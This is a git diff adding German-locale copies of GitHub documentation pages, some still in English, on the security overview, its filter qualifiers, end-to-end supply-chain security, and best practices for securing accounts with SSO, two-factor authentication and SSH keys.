+  ghes: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Security overview
+  - Advanced Security
+  - Alerts
+  - Dependabot
+  - Dependencies
+  - Organizations
+  - Teams
+shortTitle: About the security overview
+---
+
+{% ifversion ghes < 3.5 or ghae %}
+{% data reusables.security-overview.beta %}
+{% endif %}
+
+## About the security overview
+
+{% data reusables.security-overview.about-the-security-overview %} {% ifversion fpt %}For more information, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/security-overview/about-the-security-overview).{% endif %}
+
+{% ifversion ghec or ghes or ghae %}
+The security overview shows which security features are enabled for repositories and consolidate alerts for each feature. 
+
+- Risk and coverage information about {% data variables.product.prodname_dependabot %} features and alerts is shown for all repositories. 
+- Risk and coverage information for {% data variables.product.prodname_GH_advanced_security %} features, such as {% data variables.product.prodname_code_scanning %} and {% data variables.product.prodname_secret_scanning %}, is shown only for enterprises that use {% data variables.product.prodname_GH_advanced_security %}.
+
+For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies#dependabot-alerts-for-vulnerable-dependencies)" and "[About {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)."
+
+## About filtering and sorting alerts
+
+The security overview provides a powerful way to understand the security of a group of repositories. The views are interactive with filters that allow you to drill into the aggregated data and identify sources of high risk or low feature coverage. As you apply multiple filters to focus on narrower areas of interest, the data across the view changes to reflect your selection. For more information, see "[Filtering alerts in the security overview](/code-security/security-overview/filtering-alerts-in-the-security-overview)."
+
+{% ifversion security-overview-alert-views %}
+There are also dedicated views for each type of security alert that you can use to limit your analysis to a specific set of alerts, and then narrow the results further with a range of filters specific to each view. For example, in the {% data variables.product.prodname_secret_scanning %} alert view, you can use the `Secret type` filter to view only {% data variables.product.prodname_secret_scanning %} alerts for a specific secret, like a GitHub {% data variables.product.pat_generic %}.
+{% endif %}
+
+{% note %}
+
+**Note:** The security overview displays active alerts raised by security features. If there are no alerts in the security overview for a repository, undetected security vulnerabilities or code errors may still exist.
+
+{% endnote %}
+
+## About the organization-level security overview
+
+{% data reusables.security-overview.beta-org-risk-coverage %}
+
+You can find the security overview on the **Security** tab for any organization that's owned by an enterprise. Each view shows aggregated data that you can drill down into, as you add each filter, the data is updated to reflect the repositories or alerts that you've selected.
+
+The application security team at your company can use the different views for both broad and specific analyses of your organization's security status. {% ifversion security-overview-org-risk-coverage %}For example, the team can use the "Security Coverage" page to monitor the adoption of features across your organization or by a specific team as you rollout {% data variables.product.prodname_GH_advanced_security %}, or use the "Security Risk" page to identify repositories with more than five open {% data variables.product.prodname_secret_scanning %} alerts.{% else %}For example, they can use the overview page to monitor adoption of features by your organization or by a specific team as you rollout {% data variables.product.prodname_GH_advanced_security %} to your enterprise, or to review all alerts of a specific type and severity level across all repositories in your organization.{% endif %}
+
+Organization owners and security managers for organizations have access to the security overview for their organizations. {% ifversion ghec or ghes > 3.6 or ghae > 3.6 %}Organization members can also access the organization-level security overview to view results for repositories where they have admin privileges or have been granted access to security alerts. For more information on managing security alert access, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)."{% endif %}
+
+{% ifversion security-overview-org-risk-coverage %}
+### Security Risk view
+
+This view shows data about the repositories affected by different types of security alert. 
+
+- Use the **Type** and **Teams** drop-downs to add repository type and team filters.
+- Click **Open alerts** or **Repositories affected** to show only repositories with a specific type of security alert.
+
+In addition, when you click in the search box, a list of the full set of filters available is shown.
+
+![Screenshot of the Security Risk view for an organization](/assets/images/help/security-overview/security-risk-view.png)
+
+### Security Coverage view
+
+This view shows data about which repositories are using security features. 
+
+- Use the **Type** and **Teams** drop-downs to add repository type and team filters.
+- Click **Alerts enabled** and other features listed in the header to see only repositories with those features enabled.
+- Change any `FEATURE:enabled` filter to `FEATURE:not-enabled` in the search box to see repositories that haven't enabled a feature.
+- For any repository, click the ellipsis (**...**) then **Security Settings** to enable additional features.
+
+In addition, when you click in the search box, a list of the full set of filters available is shown.
+
+![Screenshot of the Security Coverage view for an organization](/assets/images/help/security-overview/security-coverage-view.png)
+
+{% else %}
+
+### Understanding the main security overview
+
+![Screenshot of the security overview for an organization](/assets/images/help/security-overview/security-overview-org-legacy.png)
+
+For each repository in the security overview, you will see icons for each type of security feature and how many alerts there are of each type. If a security feature is not enabled for a repository, the icon for that feature will be grayed out. In addition, a risk score is calculated for each repository based on its code scanning, Dependabot and secret scanning alerts. This score is in beta and should be used with caution. Its algorithm and approach is subject to change.
+
+![Icons in the security overview](/assets/images/help/security-overview/security-overview-icons.png)
+
+| Icon | Meaning |
+| -------- | -------- |
+| {% octicon "code-square" aria-label="Code scanning alerts" %} | {% data variables.product.prodname_code_scanning_capc %} alerts. For more information, see "[About {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-code-scanning)." |
+| {% octicon "key" aria-label="Secret scanning alerts" %} | {% data variables.product.prodname_secret_scanning_caps %} alerts. For more information, see "[About {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/about-secret-scanning)." |
+| {% octicon "hubot" aria-label="Dependabot alerts" %} | {% data variables.product.prodname_dependabot_alerts %}. For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)." |
+| {% octicon "check" aria-label="Check" %} | The security feature is enabled, but does not raise alerts in this repository. |
+| {% octicon "x" aria-label="x" %} | The security feature is not supported in this repository. |
+
+{% endif %}
+
+{% ifversion ghec or ghes > 3.4 or ghae > 3.4 %}
+## About the enterprise-level security overview
+
+You can find the security overview on the **Code Security** tab for your enterprise. Each overview displays aggregated and repository-specific security information for your enterprise. You can view repositories owned by your enterprise that have security alerts, view all security alerts, or security feature-specific alerts from across your enterprise.
+
+Enterprise owners can view alerts for organizations that they are an owner or a security manager of.{% ifversion ghec or ghes > 3.5 or ghae > 3.5 %} Enterprise owners can join an organization as an organization owner to see all of its alerts in the enterprise-level security overview. For more information, see "[Managing your role in an organization owned by your enterprise](/admin/user-management/managing-organizations-in-your-enterprise/managing-your-role-in-an-organization-owned-by-your-enterprise)."{% endif %}
+
+Organization owners and security managers for organizations in an enterprise have access to the enterprise-level security overview. They can view repositories and alerts for the organizations that they have full access to.
+{% endif %}
+
+{% ifversion ghes < 3.7 or ghae < 3.7 %}
+## About the team-level security overview
+
+You can find the security overview on the **Security** tab for any team in an organization that's owned by an enterprise.
+
+At the team-level, the security overview displays repository-specific security information for repositories that the team has admin privileges for. For more information, see "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)."
+{% endif %}
+
+## Further reading
+
+- "[Securing your repository](/code-security/getting-started/securing-your-repository)"
+- "[Securing your organization](/code-security/getting-started/securing-your-organization)"
+- "[Introduction to adopting GitHub Advanced Security at scale](/code-security/adopting-github-advanced-security-at-scale/introduction-to-adopting-github-advanced-security-at-scale)"
+{% endif %}
diff --git a/translations/de-DE/content/code-security/security-overview/filtering-alerts-in-the-security-overview.md b/translations/de-DE/content/code-security/security-overview/filtering-alerts-in-the-security-overview.md
new file mode 100644
index 0000000000..db05640abe
--- /dev/null
+++ b/translations/de-DE/content/code-security/security-overview/filtering-alerts-in-the-security-overview.md
@@ -0,0 +1,162 @@
+---
+title: Filtering alerts in the security overview
+intro: Use filters to view specific categories of alerts
+permissions: '{% data reusables.security-overview.permissions %}'
+product: '{% data reusables.gated-features.security-overview %}'
+allowTitleToDifferFromFilename: true
+versions:
+  ghae: '*'
+  ghes: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Security overview
+  - Advanced Security
+  - Alerts
+  - Organizations
+  - Teams
+shortTitle: Filtering the security overview
+---
+
+{% ifversion ghes < 3.5 or ghae %}
+{% data reusables.security-overview.beta %}
+{% endif %}
+
+## About filtering the security overview
+
+You can use filters in a security overview to narrow your focus based on a range of factors, like alert risk level, alert type, and feature enablement. Different filters are available depending on the specific view{% ifversion ghec or ghes > 3.4 or ghae > 3.4 %} and whether you are viewing data at the enterpise or organization level{% endif %}.
+
+{% ifversion security-overview-displayed-alerts %}
+{% note %}
+{% data reusables.security-overview.information-varies-GHAS %}
+{% endnote %}
+{% endif %}
+
+## Filter by repository
+
+| Qualifier | Description |
+| -------- | -------- |
+| `repo:REPOSITORY-NAME` | Displays data for the specified repository. |
+
+## Filter by whether security features are enabled
+
+In the examples below, replace `:enabled` with `:not-enabled` to see repositories where security features are not enabled. These qualifiers are available in the main summary views.
+
+| Qualifier | Description |
+| -------- | -------- |
+| `code-scanning:enabled` | Display repositories that have set up {% data variables.product.prodname_code_scanning %}. | 
+| `dependabot:enabled` | Display repositories that have enabled {% data variables.product.prodname_dependabot_alerts %}. |
+| `secret-scanning:enabled` | Display repositories that have enabled {% data variables.product.prodname_secret_scanning %} alerts. {% ifversion security-overview-org-risk-coverage %} |
+| `any-feature:enabled` | Display repositories where at least one security feature is enabled. |{% else %}
+| `not-enabled:any` | Display repositories with at least one security feature that is not enabled. |{% endif %}
+
+{% ifversion security-overview-org-risk-coverage %}
+The organization-level Security Coverage view includes extra filters.
+
+{% data reusables.security-overview.beta-org-risk-coverage %}
+
+| Qualifier | Description |
+| -------- | -------- |
+| `code-scanning-pull-request-alerts:enabled`| Display repositories that have configured {% data variables.product.prodname_code_scanning %} to run on pull requests. |
+| `dependabot-security-updates:enabled` | Display repositories that have enabled {% data variables.product.prodname_dependabot %} security updates.  |
+| `secret-scanning-push-protection:enabled` | Display repositories that have set up push protection for {% data variables.product.prodname_secret_scanning %}. |
+{% endif %}
+
+## Filter by repository type
+
+These qualifiers are available in the main summary views.
+
+| Qualifier | Description |
+| -------- | -------- |
+{%- ifversion ghes or ghec %}
+| `is:public` | Display public repositories. |
+{%- endif %}
+| `is:internal` | Display internal repositories. |
+| `is:private` | Display private repositories. |
+| `archived:true` | Display archived repositories. |
+| `archived:false` | Omit archived repositories. |
+
+{% ifversion ghec or ghes > 3.4 or ghae > 3.4 %}
+## Filter by level of risk for repositories
+
+The level of risk for a repository is determined by the number and severity of alerts from security features. If one or more security features are not enabled for a repository, the repository will have an unknown level of risk. If a repository has no risks that are detected by security features, the repository will have a clear level of risk. 
+
+{% ifversion security-overview-org-risk-coverage %}
+These qualifiers are available in the enterprise-level view.
+{% endif %}
+
+| Qualifier | Description |
+| -------- | -------- |
+| `risk:high` | Display repositories that are at high risk. |
+| `risk:medium` | Display repositories that are at medium risk. |
+| `risk:low` | Display repositories that are at low risk. |
+| `risk:unknown` | Display repositories that are at an unknown level of risk. |
+| `risk:clear` | Display repositories that have no detected level of risk. |
+{% endif %}
+
+## Filter by number of alerts
+
+{% ifversion security-overview-org-risk-coverage %}These qualifiers are available in the enterprise-level Overview and in the organization-level Security Risk view.{% else %}These qualifiers are available in the main summary views.{% endif %}
+
+| Qualifier | Description |
+| -------- | -------- |
+| <code>code-scanning:<em>n</em></code> | Display repositories that have *n* {% data variables.product.prodname_code_scanning %} alerts. This qualifier can use `=`, `>` and `<` comparison operators. |
+| <code>secret-scanning:<em>n</em></code> | Display repositories that have *n* {% data variables.product.prodname_secret_scanning %} alerts. This qualifier can use `=`, `>` and `<` comparison operators. |
+| <code>dependabot:<em>n</em></code> | Display repositories that have *n* {% data variables.product.prodname_dependabot_alerts %}. This qualifier can use `=`, `>` and `<` comparison operators. |
+
+
+## Filter by team
+
+These qualifiers are available in the main summary views.
+
+| Qualifier | Description |
+| -------- | -------- |
+| <code>team:<em>TEAM-NAME</em></code> | Displays repositories that *TEAM-NAME* has admin privileges for. |
+
+## Filter by topic
+
+These qualifiers are available in the main summary views.
+
+| Qualifier | Description |
+| -------- | -------- |
+| <code>topic:<em>TOPIC-NAME</em></code> | Displays repositories that are classified with *TOPIC-NAME*. |
+
+{% ifversion security-overview-alert-views %}
+
+## Additional filters for {% data variables.product.prodname_code_scanning %} alert views
+
+All code scanning alerts have one of the categories shown below. You can click any result to see full details of the relevant query and the line of code that triggered the alert.
+
+| Qualifier | Description |
+| -------- | -------- |
+|`severity:critical`|Displays {% data variables.product.prodname_code_scanning %} alerts categorized as critical.|
+|`severity:high`|Displays {% data variables.product.prodname_code_scanning %} alerts categorized as high.|
+|`severity:medium`|Displays {% data variables.product.prodname_code_scanning %} alerts categorized as medium.|
+|`severity:low`|Displays {% data variables.product.prodname_code_scanning %} alerts categorized as low.|
+|`severity:error`|Displays {% data variables.product.prodname_code_scanning %} alerts categorized as errors.|
+|`severity:warning`|Displays {% data variables.product.prodname_code_scanning %} alerts categorized as warnings.|
+|`severity:note`|Displays {% data variables.product.prodname_code_scanning %} alerts categorized as notes.|
+
+{% ifversion dependabot-alerts-vulnerable-calls %}
+## Additional filters for {% data variables.product.prodname_dependabot %} alert views
+
+You can filter the view to show {% data variables.product.prodname_dependabot_alerts %} that are ready to fix or where additional information about exposure is available. You can click any result to see full details of the alert.
+
+| Qualifier | Description |
+| -------- | -------- |
+|`has:patch`|Displays {% data variables.product.prodname_dependabot %} alerts for vulnerabilities where a secure version is already available.|
+|`has:vulnerable-calls`|Displays {% data variables.product.prodname_dependabot %} alerts where at least one call from the repository to a vulnerable function is detected. For more information, see "[Viewing and updating Dependabot alerts](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts#about-the-detection-of-calls-to-vulnerable-functions)."|
+{% endif %}
+
+{% endif %}
+
+## Additional filters for {% data variables.product.prodname_secret_scanning %} alert views
+
+| Qualifier | Description |
+| -------- | -------- |
+|`provider:PROVIDER_NAME` | Displays alerts for all secrets issues by the specified provider.  |
+| `secret-type:SERVICE_PROVIDER` | Displays alerts for the specified secret and provider. |
+| `secret-type:CUSTOM-PATTERN` | Displays alerts for secrets matching the specified custom pattern.  |
+
+For more information, see "[{% data variables.product.prodname_secret_scanning_caps %} patterns](/code-security/secret-scanning/secret-scanning-patterns)."
+
diff --git a/translations/de-DE/content/code-security/security-overview/index.md b/translations/de-DE/content/code-security/security-overview/index.md
new file mode 100644
index 0000000000..6072e5e6b0
--- /dev/null
+++ b/translations/de-DE/content/code-security/security-overview/index.md
@@ -0,0 +1,19 @@
+---
+title: Viewing security alerts for repositories in your organization
+shortTitle: Security overview
+intro: 'View, sort, and filter the security alerts from across your organization in one place.'
+product: '{% data reusables.gated-features.security-overview %}'
+versions:
+  fpt: '*'
+  ghae: '*'
+  ghes: '*'
+  ghec: '*'
+topics:
+  - Security overview
+  - Advanced Security
+children:
+  - /about-the-security-overview
+  - /viewing-the-security-overview
+  - /filtering-alerts-in-the-security-overview
+---
+
diff --git a/translations/de-DE/content/code-security/security-overview/viewing-the-security-overview.md b/translations/de-DE/content/code-security/security-overview/viewing-the-security-overview.md
new file mode 100644
index 0000000000..3d861d9794
--- /dev/null
+++ b/translations/de-DE/content/code-security/security-overview/viewing-the-security-overview.md
@@ -0,0 +1,72 @@
+---
+title: Viewing the security overview
+intro: Navigate to the different views available in the security overview
+permissions: '{% data reusables.security-overview.permissions %}'
+product: '{% data reusables.gated-features.security-overview %}'
+allowTitleToDifferFromFilename: true
+versions:
+  ghae: '>= 3.4'
+  ghes: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Security overview
+  - Advanced Security
+  - Alerts
+  - Organizations
+  - Teams
+shortTitle: View the security overview
+---
+
+{% ifversion ghes < 3.5 or ghae %}
+{% data reusables.security-overview.beta %}
+{% endif %}
+
+{% data reusables.security-overview.information-varies-GHAS %}
+
+## Viewing the security overview for an organization
+
+{% data reusables.security-overview.beta-org-risk-coverage %}
+
+{% ifversion security-overview-org-risk-coverage %}
+{% data reusables.organizations.navigate-to-org %}
+{% data reusables.organizations.security-overview %}
+1. Choose the overview you want to display from the options in the sidebar.
+1. Use the drop-down filters and search box to focus on the information of greatest interest. The "Security Risk" and "Security Coverage" views also have an interactive header that you can use to filter results.
+
+  ![Screenshot of the Security Risk view with interactive header highlighted](/assets/images/help/security-overview/security-risk-interactive-header.png)
+
+{% else %}
+
+{% data reusables.organizations.navigate-to-org %}
+{% data reusables.organizations.security-overview %}
+1. To view aggregate information about alert types, click **Show more**.
+  ![Show more button](/assets/images/help/security-overview/security-overview-show-more-button.png)
+{% data reusables.organizations.filter-security-overview %}
+{% ifversion security-overview-alert-views %}
+{% data reusables.organizations.security-overview-feature-specific-page %}
+  ![Screenshot of the code scanning-specific page](/assets/images/help/security-overview/security-overview-code-scanning-alerts.png)
+{% endif %}
+
+{% endif %}
+
+{% ifversion ghec or ghes > 3.4 or ghae > 3.4 %}
+## Viewing the security overview for an enterprise
+
+{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %}
+1. In the left sidebar, click {% octicon "shield" aria-label="The shield icon" %} **Code Security**.
+{% ifversion security-overview-feature-specific-alert-page %}
+{% data reusables.organizations.security-overview-feature-specific-page %}
+{% endif %}
+
+{% endif %}
+
+{% ifversion ghes < 3.7 or ghae < 3.7 %}
+## Viewing the security overview for a team
+
+{% data reusables.profile.access_org %}
+{% data reusables.user-settings.access_org %}
+{% data reusables.organizations.specific_team %}
+{% data reusables.organizations.team-security-overview %}
+{% data reusables.organizations.filter-security-overview %}
+{% endif %}
\ No newline at end of file
diff --git a/translations/de-DE/content/code-security/supply-chain-security/end-to-end-supply-chain/end-to-end-supply-chain-overview.md b/translations/de-DE/content/code-security/supply-chain-security/end-to-end-supply-chain/end-to-end-supply-chain-overview.md
new file mode 100644
index 0000000000..408fb28ba2
--- /dev/null
+++ b/translations/de-DE/content/code-security/supply-chain-security/end-to-end-supply-chain/end-to-end-supply-chain-overview.md
@@ -0,0 +1,46 @@
+---
+title: Sichern einer End-to-End-Lieferkette
+shortTitle: Overview
+allowTitleToDifferFromFilename: true
+intro: 'Einführung bewährter Anleitungen zur vollständigen Lieferkettensicherheit, einschließlich persönlicher Konten, Code und Buildprozesse'
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+type: overview
+topics:
+  - Organizations
+  - Teams
+  - Dependencies
+  - Advanced Security
+ms.openlocfilehash: 44eb2f8fa24d172cc1ad5f988bbbda3a192797a3
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147060682'
+---
+## Was ist die End-to-End-Lieferkette?
+
+Im Kern geht es bei der Sicherheit der End-to-End-Software-Lieferkette, darum zu gewährleisten, dass der von Ihnen verteilte Code nicht manipuliert wurde. Zuvor konzentrierten sich Angreifer auf von Ihnen verwendete Abhängigkeiten, z. B. Bibliotheken und Frameworks. Angreifer haben nun ihren Fokus, auf Benutzerkonten und Buildprozesse erweitert, und daher müssen diese Systeme ebenfalls geschützt werden.
+
+Informationen zu Features in {% data variables.product.prodname_dotcom %}, die dir helfen können, Abhängigkeiten zu sichern, findest du unter [Informationen zur Sicherheit der Lieferkette](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-supply-chain-security).
+
+## Informationen zu diesen Leitfäden
+
+In dieser Reihe von Leitfäden wird erläutert, wie du deine End-to-End-Lieferkette schützt: persönliches Konto, Code und Buildprozesse. Jeder Leitfaden erläutert das Risiko für diesen Bereich und führt die {% data variables.product.product_name %}-Features ein, die Ihnen dabei helfen, dieses Risiko zu beheben. 
+
+Da jeder Benutzer andere Bedürfnisse hat, beginnt jeder Leitfaden mit den Änderungen, die sich am stärksten auswirken, und fährt dann mit weiteren Verbesserungen fort, die du in Betracht ziehen solltest. Du kannst dich natürlich frei entscheiden und dich auf die Verbesserungen konzentrieren, von denen du glaubst, dass sie den größten Nutzen für dich bringen. Das Ziel besteht nicht darin, alles gleichzeitig umzusetzen, sondern die Sicherheit deiner Systeme im Laufe der Zeit kontinuierlich zu verbessern.
+
+- „[Bewährte Methoden zum Schützen von Konten](/code-security/supply-chain-security/end-to-end-supply-chain/securing-accounts)“
+
+- [Bewährte Methoden zum Sichern von Code in einer Lieferkette](/code-security/supply-chain-security/end-to-end-supply-chain/securing-code)
+
+- [Bewährte Methoden zum Sichern deines Buildsystems](/code-security/supply-chain-security/end-to-end-supply-chain/securing-builds)
+
+## Weiterführende Themen
+
+- [Schutz der Artefakteintegrität in jeder Software-Lieferkette](https://slsa.dev/)
+- [Microsoft-Modell zur Lieferkettenintegrität](https://github.com/microsoft/scim)
+- [Whitepaper zu Sicherheit der Software-Lieferkette: CNCF Security Technical Advisory Group](https://github.com/cncf/tag-security/blob/main/supply-chain-security/supply-chain-security-paper/CNCF_SSCP_v1.pdf)
diff --git a/translations/de-DE/content/code-security/supply-chain-security/end-to-end-supply-chain/index.md b/translations/de-DE/content/code-security/supply-chain-security/end-to-end-supply-chain/index.md
new file mode 100644
index 0000000000..92c2b9e247
--- /dev/null
+++ b/translations/de-DE/content/code-security/supply-chain-security/end-to-end-supply-chain/index.md
@@ -0,0 +1,27 @@
+---
+title: End-to-End-Lieferkette
+intro: 'Wie du deine Benutzerkonten, deinen Code und deinen Buildvorgang sichern solltest'
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - Security overview
+  - Organizations
+  - Teams
+  - Dependencies
+  - Advanced Security
+children:
+  - /end-to-end-supply-chain-overview
+  - /securing-accounts
+  - /securing-code
+  - /securing-builds
+ms.openlocfilehash: 9affbe141c8a0cd739293b49e1fa742b8bc2a162
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147065618'
+---
+
diff --git a/translations/de-DE/content/code-security/supply-chain-security/end-to-end-supply-chain/securing-accounts.md b/translations/de-DE/content/code-security/supply-chain-security/end-to-end-supply-chain/securing-accounts.md
new file mode 100644
index 0000000000..d16b736502
--- /dev/null
+++ b/translations/de-DE/content/code-security/supply-chain-security/end-to-end-supply-chain/securing-accounts.md
@@ -0,0 +1,137 @@
+---
+title: Best practices for securing accounts
+shortTitle: Securing accounts
+allowTitleToDifferFromFilename: true
+intro: Guidance on how to protect accounts with access to your software supply chain.
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+type: overview
+topics:
+  - Organizations
+  - Teams
+  - SSH
+  - Security
+  - Accounts
+---
+## About this guide
+
+This guide describes the highest impact changes you can make to increase account security. Each section outlines a change you can make to your processes to improve the security. The highest impact changes are listed first.
+
+## What's the risk?
+
+Account security is fundamental to the security of your supply chain. If an attacker can take over your account on {% data variables.product.product_name %}, they can then make malicious changes to your code or build process. So your first goal should be to make it difficult for someone to take over your account and the accounts of other {% ifversion ghes %}users{% else %}members{% endif %} of {% ifversion fpt %}your organization{% elsif ghec or ghae %}your organization or enterprise{% elsif ghes %}{% data variables.location.product_location %}{% endif %}.
+
+{% ifversion ghec or ghes %}
+## Centralize authentication
+{% endif %}
+
+{% ifversion ghec %}
+If you're an enterprise or organization owner, you can configure centralized authentication with SAML. While you can add or remove members manually, it's simpler and more secure to set up single sign-on (SSO) and SCIM between {% data variables.product.product_name %} and your SAML identity provider (IdP). This also simplifies the authentication process for all members of your enterprise.
+
+You can configure SAML authentication for an enterprise or organization account. With SAML, you can grant access to the personal accounts of members of your enterprise or organization on {% data variables.location.product_location %} through your IdP, or you can create and control the accounts that belong to your enterprise by using {% data variables.product.prodname_emus %}. For more information, see "[About authentication for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise)."
+
+After you configure SAML authentication, when members request access to your resources, they'll be directed to your SSO flow to ensure they are still recognized by your IdP. If they are unrecognized, their request is declined.
+
+Some IdPs support a protocol called SCIM, which can automatically provision or deprovision access on {% data variables.product.product_name %} when you make changes on your IdP. With SCIM, you can simplify administration as your team grows, and you can quickly revoke access to accounts. SCIM is available for individual organizations on {% data variables.product.product_name %}, or for enterprises that use {% data variables.product.prodname_emus %}. For more information, see "[About SCIM for organizations](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations)."
+{% endif %}
+
+{% ifversion ghes %}
+If you're the site administrator for {% data variables.location.product_location %}, you can simplify the login experience for users by choosing an authentication method that connects with your existing identity provider (IdP), like CAS, SAML, or LDAP. This means that they no longer need to remember an extra password for {% data variables.product.prodname_dotcom %}.
+
+Some authentication methods also support communicating additional information to {% data variables.product.product_name %}, for example, what groups the user is a member of, or synchronizing cryptographic keys for the user. This is a great way to simplify your administration as your organization grows.
+
+For more information about the authentication methods available for {% data variables.product.product_name %}, see "[About authentication for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise)."
+{% endif %}
+
+## Configure two-factor authentication
+
+The best way to improve the security of {% ifversion fpt %}your personal account{% elsif ghes %}your personal account or {% data variables.location.product_location %}{% elsif ghec %}your accounts{% elsif ghae %}your enterprise on {% data variables.product.product_name %}{% endif %} is to configure two-factor authentication (2FA){% ifversion ghae %} on your SAML identity provider (IdP){% endif %}. Passwords by themselves can be compromised by being guessable, by being reused on another site that's been compromised, or by social engineering, like phishing. 2FA makes it much more difficult for your accounts to be compromised, even if an attacker has your password.
+
+{% ifversion not ghae %}
+
+{% ifversion ghec %}
+If you're an enterprise owner, you may be able to configure a policy to require 2FA for all organizations owned by your enterprise.
+{% endif %}
+
+{% ifversion ghes %}
+If you're the site administrator for {% data variables.location.product_location %}, you may be able to configure 2FA for all users of your instance. The availability of 2FA on {% data variables.product.product_name %} depends on the authentication method that you use. For more information, see "[Centralize user authentication](#centralize-user-authentication)."
+{% endif %}
+
+If you're an organization owner, then you {% ifversion fpt %}can{% else %}may be able to{% endif %} require that all members of the organization enable 2FA.
+
+{% ifversion ghec or ghes %}
+
+### Configure your enterprise account
+
+Enterprise owners may be able to require 2FA for all {% ifversion ghes %}users on{% elsif ghec %}members of{% endif %} the {% ifversion ghes %}instance{% elsif ghec %}enterprise{% endif %}. The availability of 2FA policies on {% data variables.product.product_name %} depends on how {% ifversion ghes %}users{% else %}members{% endif %} authenticate to access your {% ifversion ghes %}instance{% elsif ghec %}enterprise's resources{% endif %}.
+
+{% ifversion ghes %}
+- If you sign into {% data variables.location.product_location %} through an external IdP using CAS or SAML SSO, you
+{% elsif ghec %}
+If your enterprise uses {% data variables.product.prodname_emus %} or SAML authentication is enforced for your enterprise, you
+{%- endif %} cannot configure 2FA on {% data variables.product.product_name %}. Someone with administrative access to your IdP must configure 2FA for the IdP.
+
+{% ifversion ghes %}
+
+- If you sign into {% data variables.location.product_location %} through an external LDAP directory, you can require 2FA for your enterprise on {% data variables.product.product_name %}. If you allow built-in authentication for users outside of your directory, individual users can enable 2FA, but you cannot require 2FA for your enterprise.
+
+{% endif %}
+
+For more information, see {% ifversion ghec %}"[About identity and access management for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-identity-and-access-management-for-your-enterprise)" and {% endif %}"[Enforcing policies for security settings in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#requiring-two-factor-authentication-for-organizations-in-your-enterprise)."
+
+{% endif %}
+
+### Configure your personal account
+
+{% ifversion ghec or ghes %}
+{% note %}
+
+**Note**: Depending on the authentication method that {% ifversion ghec %}an enterprise owner{% elsif ghes %}a site administrator{% endif %} has configured for {% ifversion ghec %}your enterprise on {% endif %}{% data variables.location.product_location %}, you may not be able to enable 2FA for your personal account.
+
+{% endnote %}
+{% endif %}
+
+{% data variables.product.product_name %} supports several options for 2FA, and while any of them is better than nothing, the most secure option is WebAuthn. WebAuthn requires either a hardware security key or a device that supports it through things like Windows Hello or Mac TouchID. It's possible, although difficult, to phish other forms of 2FA (for example, someone asking you to read them your 6 digit one-time password). However WebAuthn isn't phishable, because domain scoping is built into the protocol, which prevents credentials from a website impersonating a login page from being used on {% data variables.product.product_name %}.
+
+When you set up 2FA, you should always download the recovery codes and set up more than one factor. This ensures that access to your account doesn't depend on a single device. For more information, see "[Configuring two-factor authentication](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication)," "[Configuring two-factor authentication recovery methods](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods)," and [GitHub Branded hardware security keys](https://thegithubshop.com/products/github-branded-yubikey) in the GitHub shop.
+
+### Configure your organization account
+
+{% ifversion ghec or ghes %}
+{% note %}
+
+**Note**: Depending on the authentication method that {% ifversion ghec %}an enterprise owner{% elsif ghes %}a site administrator{% endif %} has configured for {% ifversion ghec %}your enterprise on {% endif %}{% data variables.location.product_location %}, you may not be able to require 2FA for your organization.
+
+{% endnote %}
+{% endif %}
+
+If you're an organization owner, you can see which users don't have 2FA enabled, help them get set up, and then require 2FA for your organization. To guide you through that process, see:
+
+1. "[Viewing whether users in your organization have 2FA enabled](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/viewing-whether-users-in-your-organization-have-2fa-enabled)"
+2. "[Preparing to require two-factor authentication in your organization](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/preparing-to-require-two-factor-authentication-in-your-organization)"
+3. "[Requiring two-factor authentication in your organization](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization)"
+
+{% endif %}
+
+## Connect to {% data variables.product.product_name %} using SSH keys
+
+There are other ways to interact with {% data variables.product.product_name %} beyond signing into the website{% ifversion ghae %} via your IdP{% endif %}. Many people authorize the code they push to {% data variables.product.prodname_dotcom %} with an SSH private key. For more information, see "[About SSH](/authentication/connecting-to-github-with-ssh/about-ssh)."
+
